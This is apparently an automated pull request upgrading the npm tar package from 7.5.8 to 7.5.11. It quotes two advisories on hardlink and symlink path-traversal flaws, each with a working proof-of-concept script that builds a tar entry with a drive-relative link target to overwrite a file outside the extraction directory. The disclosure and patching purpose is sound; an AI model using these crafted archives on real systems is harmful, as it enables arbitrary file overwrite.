This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
tar	7.5.8 → 7.5.11

GitHub Vulnerability Alerts

CVE-2026-29786

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files

CVE-2026-31802

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files

Release Notes

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